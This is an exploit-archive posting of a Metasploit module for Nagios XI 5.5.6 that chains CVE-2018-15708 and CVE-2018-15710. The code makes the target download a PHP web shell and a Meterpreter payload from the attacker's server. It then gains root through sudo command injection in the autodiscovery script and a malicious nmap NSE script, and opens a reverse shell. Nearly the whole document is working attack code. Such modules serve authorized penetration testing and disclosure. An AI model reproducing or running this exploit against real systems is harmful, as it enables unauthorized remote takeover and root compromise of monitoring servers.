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Nagios XI Magpie_debug.php Root Remote Code Execution

Nagios XI Magpie_debug.php Root Remote Code Execution
Posted Jun 25, 2019
Authored by Chris Lyne, Guillaume Andre | Site metasploit.com

This Metasploit module exploits two vulnerabilities in Nagios XI 5.5.6. One allows for unauthenticated remote code execution and another allows for local privilege escalation. When combined, these two vulnerabilities give us a root reverse shell.

tags | exploit, remote, shell, local, root, vulnerability, code execution
advisories | CVE-2018-15708, CVE-2018-15710
MD5 | 6f7a8dbb53ba27c5718670f3c77faad2

Nagios XI Magpie_debug.php Root Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => "Nagios XI Magpie_debug.php Root Remote Code Execution",
'Description' => %q{
This module exploits two vulnerabilities in Nagios XI 5.5.6:
CVE-2018-15708 which allows for unauthenticated remote code execution
and CVE 2018–15710 which allows for local privilege escalation.
When combined, these two vulnerabilities give us a root reverse shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Lyne (@lynerc)', # First working exploit
'Guillaume André (@yaumn_)' # Metasploit module
],
'References' =>
[
['CVE', '2018-15708'],
['CVE', '2018-15710'],
['EDB', '46221'],
['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
['URL', 'https://www.tenable.com/security/research/tra-2018-37']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
],
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
'Privileged' => false,
'DisclosureDate' => "2018-11-14",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
])

@WRITABLE_PATHS = [
['/usr/local/nagvis/share', '/nagvis'],
['/var/www/html/nagiosql', '/nagiosql']
]
@writable_path_index = 0
@MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
@session_opened = false
@webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php"
@nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse"
@meterpreter_name = Rex::Text.rand_text_alpha(10)
end

def on_request_uri(cli, req)
if @current_payload == @webshell_name
send_response(cli, '<?php system($_GET[\'cmd\'])?>')
else
send_response(cli, generate_payload_exe)
end
end

def primer
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH),
'vars_get' => {
'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
'-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
}
}, 5)

if !res || res.code != 200
print_error('Couldn\'t send malicious request to target.')
end
end

def check_upload
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
}, 5)
if res && res.code == 200
print_status("#{@current_payload} uploaded with success!")
return true
else
print_error("Couldn't upload #{@current_payload}.")
return false
end
end

def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH)
}, 5)

if res && res.code == 200
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def exploit
all_files_uploaded = false

# Upload useful files on the target
for i in 0..@WRITABLE_PATHS.size
@writable_path_index = i
for filename in [@webshell_name, @meterpreter_name]
@current_payload = filename
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
if !check_upload
break
elsif filename == @meterpreter_name
all_files_uploaded = true
end
end
end
if all_files_uploaded
break
end
end

meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"

register_file_for_cleanup(
"#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}",
meterpreter_path,
"/var/tmp/#{@nse_name}"
)

# Commands to escalate privileges, some will work and others won't
# depending on the Nagios version
cmds = [
"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
"components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
"echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \
"&& sudo nmap --script /var/tmp/#{@nse_name}"
]

# Try to launch root shell
for cmd in cmds
res = send_request_cgi(
{
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
}, 5)

if !res && session_created?
break
end
print_status('Couldn\'t get remote root shell, trying another method')
end
end
end

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